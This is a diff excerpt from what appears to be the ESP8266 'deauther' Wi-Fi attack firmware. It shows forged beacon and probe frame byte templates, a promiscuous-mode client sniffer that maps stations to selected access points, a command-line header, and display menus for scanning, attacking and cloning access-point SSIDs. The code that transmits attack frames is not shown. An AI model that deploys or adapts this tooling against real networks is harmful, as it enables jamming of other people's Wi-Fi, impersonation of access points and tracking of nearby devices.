/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
#endif
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -1,89 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "led.h"
|
||||
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern bool strToIP(String ipStr, uint8_t* ip);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
|
@ -0,0 +1,237 @@
|
|||
#include "ClientScan.h"
|
||||
|
||||
ClientScan::ClientScan() {
|
||||
broadcast.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
|
||||
zero.set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
|
||||
}
|
||||
|
||||
void ClientScan::clearList() {
|
||||
clients._clear();
|
||||
}
|
||||
|
||||
void ClientScan::start(int _time) {
|
||||
Serial.println();
|
||||
Serial.println("starting client scan");
|
||||
|
||||
clearList();
|
||||
for (int i = 0; i < maxClientScanResults; i++) {
|
||||
selected[i] = false;
|
||||
packets[i] = 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 13; i++) channels[i] = 0;
|
||||
|
||||
results = 0;
|
||||
timeout = _time;
|
||||
sniffing = true;
|
||||
|
||||
channelsNum = 0;
|
||||
curChannel = 0;
|
||||
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
if (!intInArray(apScan.getAPChannel(i), channels)) {
|
||||
channels[channelsNum] = apScan.getAPChannel(i);
|
||||
channelsNum++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.disconnect();
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_channel(channels[curChannel]);
|
||||
wifi_promiscuous_enable(1);
|
||||
|
||||
if (debug) Serial.println("set channel to " + (String)channels[curChannel]);
|
||||
curChannel++;
|
||||
|
||||
startTime = millis();
|
||||
sniffing = true;
|
||||
}
|
||||
|
||||
bool ClientScan::stop() {
|
||||
long curTime = millis();
|
||||
if (curTime - startTime >= (timeout * 1000) / channelsNum && curChannel < channelsNum) {
|
||||
if (debug) Serial.println("changing to channel " + (String)channels[curChannel]);
|
||||
wifi_set_channel(channels[curChannel]);
|
||||
curChannel++;
|
||||
}
|
||||
else if (curTime - startTime >= timeout * 1000) {
|
||||
sniffing = false;
|
||||
wifi_promiscuous_enable(0);
|
||||
|
||||
Serial.println("stopping client scan after " + (String)(curTime - startTime) + "ms");
|
||||
if (debug) {
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
Serial.print(i);
|
||||
Serial.print(": ");
|
||||
Serial.print(getClientPackets(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientVendor(i));
|
||||
Serial.print(" ");
|
||||
Serial.print(getClientMac(i).toString());
|
||||
/*Serial.print(" ");
|
||||
Serial.print(getClientSelected(i));*/
|
||||
Serial.println();
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
int ClientScan::add(Mac adr){
|
||||
int clientNum = clients.getNum(adr);
|
||||
if (clientNum == -1 && results < maxClientScanResults) {
|
||||
data_getVendor(adr._get(0), adr._get(1), adr._get(2)).toCharArray(vendors[results], 9);
|
||||
connectedToAp[results] = -1;
|
||||
results++;
|
||||
int clientNum = clients.add(adr);
|
||||
}
|
||||
return clientNum;
|
||||
}
|
||||
|
||||
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
||||
if (sniffing && len > 27) {
|
||||
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
|
||||
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
|
||||
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
if (apScan.aps._get(i).compare(from) && !broadcast.compare(to)) {
|
||||
int clientNum = add(to);
|
||||
connectedToAp[clientNum] = i;
|
||||
packets[clientNum]++;
|
||||
if (clientNum == -1 && results < maxClientScanResults) {
|
||||
if (debug) {
|
||||
Serial.print("found: ");
|
||||
from._print();
|
||||
Serial.print(" => ");
|
||||
to._print();
|
||||
Serial.println("");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String ClientScan::getClientName(int num) {
|
||||
return nameList.getByMac(getClientMac(num));
|
||||
}
|
||||
int ClientScan::getClientPackets(int num) {
|
||||
return packets[clients.getNum(clients._get(num))];
|
||||
}
|
||||
String ClientScan::getClientVendor(int num) {
|
||||
return vendors[num];
|
||||
}
|
||||
Mac ClientScan::getClientMac(int num) {
|
||||
return clients._get(num);
|
||||
}
|
||||
int ClientScan::getClientConnectedAp(int num) {
|
||||
return connectedToAp[num];
|
||||
}
|
||||
bool ClientScan::getClientSelected(int num) {
|
||||
return selected[num];
|
||||
}
|
||||
int ClientScan::getFirstClient() {
|
||||
for (int i = 0; i < maxClientScanResults; i++) {
|
||||
if (getClientSelected(i)) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void ClientScan::select(int num) {
|
||||
if(num < 0){
|
||||
if(num == -1){
|
||||
for(int i=0; i<results; i++){selected[i] = true;}
|
||||
selectedResults = results;
|
||||
} else {
|
||||
for(int i=0; i<results; i++){selected[i] = false;}
|
||||
selectedResults = 0;
|
||||
}
|
||||
} else {
|
||||
selected[num] = !selected[num];
|
||||
if (selected[num]) selectedResults++;
|
||||
else selectedResults--;
|
||||
}
|
||||
}
|
||||
|
||||
size_t ClientScan::getSize(){
|
||||
size_t jsonSize = 0;
|
||||
String json = "{\"clients\":[";
|
||||
jsonSize += json.length();
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
json = "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
|
||||
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
|
||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||
else json += "\"a\":\"?\"";
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
json = "],\"nameList\":[";
|
||||
jsonSize += json.length();
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "{";
|
||||
json += "\"n\":\"" + nameList.get(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
jsonSize += 2;
|
||||
|
||||
return jsonSize;
|
||||
}
|
||||
|
||||
void ClientScan::send() {
|
||||
size_t _size = getSize();
|
||||
sendHeader(200, "text/json", _size);
|
||||
if (debug) Serial.println("getting settings json ("+(String)_size+")");
|
||||
|
||||
String json;
|
||||
sendToBuffer("{\"clients\":[");
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
json = "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
|
||||
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
|
||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||
else json += "\"a\":\"?\"";
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
sendToBuffer("],\"nameList\":[");
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "{";
|
||||
json += "\"n\":\"" + nameList.get(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
sendToBuffer("]}");
|
||||
|
||||
sendBuffer();
|
||||
|
||||
if(debug) Serial.println("\ndone");
|
||||
|
||||
}
|
|
@ -0,0 +1,71 @@
|
|||
#ifndef ClientScan_h
|
||||
#define ClientScan_h
|
||||
|
||||
#define maxClientScanResults 40
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
#include "APScan.h"
|
||||
#include "NameList.h"
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
extern APScan apScan;
|
||||
extern NameList nameList;
|
||||
|
||||
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
||||
extern bool intInArray(int num, int _array[]);
|
||||
extern void PrintHex8(uint8_t *data, uint8_t length);
|
||||
extern const bool debug;
|
||||
|
||||
class ClientScan {
|
||||
public:
|
||||
ClientScan();
|
||||
|
||||
void start(int _time);
|
||||
void clearList();
|
||||
bool stop();
|
||||
void packetSniffer(uint8_t *buf, uint16_t len);
|
||||
int add(Mac adr);
|
||||
void send();
|
||||
void select(int num);
|
||||
|
||||
String getClientName(int num);
|
||||
int getClientPackets(int num);
|
||||
String getClientVendor(int num);
|
||||
Mac getClientMac(int num);
|
||||
bool getClientSelected(int num);
|
||||
int getClientConnectedAp(int num);
|
||||
int getFirstClient();
|
||||
|
||||
int results = 0;
|
||||
int selectedResults = 0;
|
||||
int timeout = 0;
|
||||
|
||||
bool sniffing = false;
|
||||
private:
|
||||
size_t getSize();
|
||||
|
||||
long startTime = 0;
|
||||
|
||||
Mac from;
|
||||
Mac to;
|
||||
|
||||
Mac broadcast;
|
||||
Mac zero;
|
||||
|
||||
MacList clients;
|
||||
char vendors[maxClientScanResults][9];
|
||||
int packets[maxClientScanResults];
|
||||
bool selected[maxClientScanResults];
|
||||
int connectedToAp[maxClientScanResults];
|
||||
|
||||
int channels[13];
|
||||
int channelsNum = 0;
|
||||
int curChannel = 0;
|
||||
};
|
||||
|
||||
#endif
|
|
@ -1,941 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "DisplayUI.h"
|
||||
|
||||
#include "settings.h"
|
||||
|
||||
// ===== adjustable ===== //
|
||||
void DisplayUI::configInit() {
|
||||
// initialize display
|
||||
display.init();
|
||||
|
||||
/*
|
||||
In case of a compiler (conversion char/uint8_t) error,
|
||||
make sure to have version 4 of the display library installed
|
||||
https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0
|
||||
*/
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
|
||||
display.setContrast(255);
|
||||
|
||||
if (FLIP_DIPLAY) display.flipScreenVertically();
|
||||
|
||||
display.clear();
|
||||
display.display();
|
||||
}
|
||||
|
||||
void DisplayUI::configOn() {
|
||||
display.displayOn();
|
||||
}
|
||||
|
||||
void DisplayUI::configOff() {
|
||||
display.displayOff();
|
||||
}
|
||||
|
||||
void DisplayUI::updatePrefix() {
|
||||
display.clear();
|
||||
}
|
||||
|
||||
void DisplayUI::updateSuffix() {
|
||||
display.display();
|
||||
}
|
||||
|
||||
void DisplayUI::drawString(int x, int y, String str) {
|
||||
display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK)));
|
||||
}
|
||||
|
||||
void DisplayUI::drawString(int row, String str) {
|
||||
drawString(0, row * lineHeight, str);
|
||||
}
|
||||
|
||||
void DisplayUI::drawLine(int x1, int y1, int x2, int y2) {
|
||||
display.drawLine(x1, y1, x2, y2);
|
||||
}
|
||||
|
||||
// ====================== //
|
||||
|
||||
|
||||
DisplayUI::DisplayUI() {}
|
||||
|
||||
DisplayUI::~DisplayUI() {}
|
||||
|
||||
|
||||
void DisplayUI::setup() {
|
||||
configInit();
|
||||
setupButtons();
|
||||
buttonTime = currentTime;
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
bool h12;
|
||||
bool PM_time;
|
||||
clock.setClockMode(false);
|
||||
clockHour = clock.getHour(h12, PM_time);
|
||||
clockMinute = clock.getMinute();
|
||||
#else // ifdef RTC_DS3231
|
||||
clockHour = random(12);
|
||||
clockMinute = random(60);
|
||||
#endif // ifdef RTC_DS3231
|
||||
|
||||
// ===== MENUS ===== //
|
||||
|
||||
// MAIN MENU
|
||||
createMenu(&mainMenu, NULL, [this]() {
|
||||
addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN
|
||||
addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW
|
||||
addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK
|
||||
addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR
|
||||
scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);
|
||||
mode = DISPLAY_MODE::PACKETMONITOR;
|
||||
});
|
||||
addMenuNode(&mainMenu, D_CLOCK, &clockMenu); // CLOCK
|
||||
|
||||
#ifdef HIGHLIGHT_LED
|
||||
addMenuNode(&mainMenu, D_LED, [this]() { // LED
|
||||
highlightLED = !highlightLED;
|
||||
digitalWrite(HIGHLIGHT_LED, highlightLED);
|
||||
});
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
});
|
||||
|
||||
// SCAN MENU
|
||||
createMenu(&scanMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST
|
||||
scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP
|
||||
scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST
|
||||
scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);
|
||||
mode = DISPLAY_MODE::LOADSCAN;
|
||||
});
|
||||
});
|
||||
|
||||
// SHOW MENU
|
||||
createMenu(&showMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0]
|
||||
return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1);
|
||||
}, &apListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // Stations 0 [0]
|
||||
return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1);
|
||||
}, &stationListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // Names 0 [0]
|
||||
return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1);
|
||||
}, &nameListMenu);
|
||||
addMenuNode(&showMenu, [this]() { // SSIDs 0
|
||||
return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1);
|
||||
}, &ssidListMenu);
|
||||
});
|
||||
|
||||
// AP LIST MENU
|
||||
createMenu(&apListMenu, &showMenu, [this]() {
|
||||
// add APs to list
|
||||
int c = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&apListMenu, [i]() {
|
||||
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
|
||||
}, [this, i]() {
|
||||
accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&apMenu);
|
||||
});
|
||||
}
|
||||
addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
accesspoints.selectAll();
|
||||
changeMenu(&apListMenu);
|
||||
});
|
||||
addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
accesspoints.deselectAll();
|
||||
changeMenu(&apListMenu);
|
||||
});
|
||||
addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
accesspoints.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// STATION LIST MENU
|
||||
createMenu(&stationListMenu, &showMenu, [this]() {
|
||||
// add stations to list
|
||||
int c = stations.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&stationListMenu, [i]() {
|
||||
return b2a(stations.getSelected(i)) +
|
||||
(stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
|
||||
}, [this, i]() {
|
||||
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&stationMenu);
|
||||
});
|
||||
}
|
||||
|
||||
addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
stations.selectAll();
|
||||
changeMenu(&stationListMenu);
|
||||
});
|
||||
addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
stations.deselectAll();
|
||||
changeMenu(&stationListMenu);
|
||||
});
|
||||
addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
stations.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// NAME LIST MENU
|
||||
createMenu(&nameListMenu, &showMenu, [this]() {
|
||||
// add device names to list
|
||||
int c = names.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&nameListMenu, [i]() {
|
||||
return names.getSelectedStr(i) + names.getName(i);
|
||||
}, [this, i]() {
|
||||
names.getSelected(i) ? names.deselect(i) : names.select(i);
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&nameMenu);
|
||||
});
|
||||
}
|
||||
addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
|
||||
names.selectAll();
|
||||
changeMenu(&nameListMenu);
|
||||
});
|
||||
addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
|
||||
names.deselectAll();
|
||||
changeMenu(&nameListMenu);
|
||||
});
|
||||
addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
names.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// SSID LIST MENU
|
||||
createMenu(&ssidListMenu, &showMenu, [this]() {
|
||||
addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs
|
||||
ssids.cloneSelected(true);
|
||||
changeMenu(&ssidListMenu);
|
||||
ssids.save(false);
|
||||
});
|
||||
addMenuNode(&ssidListMenu, [this]() {
|
||||
return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE
|
||||
}, [this]() {
|
||||
if (ssids.getRandom()) ssids.disableRandom();
|
||||
else ssids.enableRandom(10);
|
||||
changeMenu(&ssidListMenu);
|
||||
});
|
||||
|
||||
// add ssids to list
|
||||
int c = ssids.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&ssidListMenu, [i]() {
|
||||
return ssids.getName(i).substring(0, ssids.getLen(i));
|
||||
}, [this, i]() {
|
||||
selectedID = i;
|
||||
changeMenu(&ssidMenu);
|
||||
}, [this, i]() {
|
||||
ssids.remove(i);
|
||||
changeMenu(&ssidListMenu);
|
||||
ssidListMenu.selected = i;
|
||||
});
|
||||
}
|
||||
|
||||
addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
|
||||
ssids.removeAll();
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// AP MENU
|
||||
createMenu(&apMenu, &apListMenu, [this]() {
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // *<ssid>
|
||||
}, [this]() {
|
||||
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
|
||||
});
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);
|
||||
}, NULL); // Encryption: -/WPA2
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);
|
||||
}, NULL); // RSSI: -90
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);
|
||||
}, NULL); // Channel: 11
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);
|
||||
}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&apMenu, [this]() {
|
||||
return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
|
||||
});
|
||||
addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE
|
||||
ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);
|
||||
changeMenu(&showMenu);
|
||||
ssids.save(false);
|
||||
});
|
||||
addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE
|
||||
accesspoints.remove(selectedID);
|
||||
apListMenu.list->remove(apListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// STATION MENU
|
||||
createMenu(&stationMenu, &stationListMenu, [this]() {
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getSelectedStr(selectedID) +
|
||||
(stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station
|
||||
// name>
|
||||
}, [this]() {
|
||||
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
|
||||
});
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_VENDOR) + stations.getVendorStr(selectedID);
|
||||
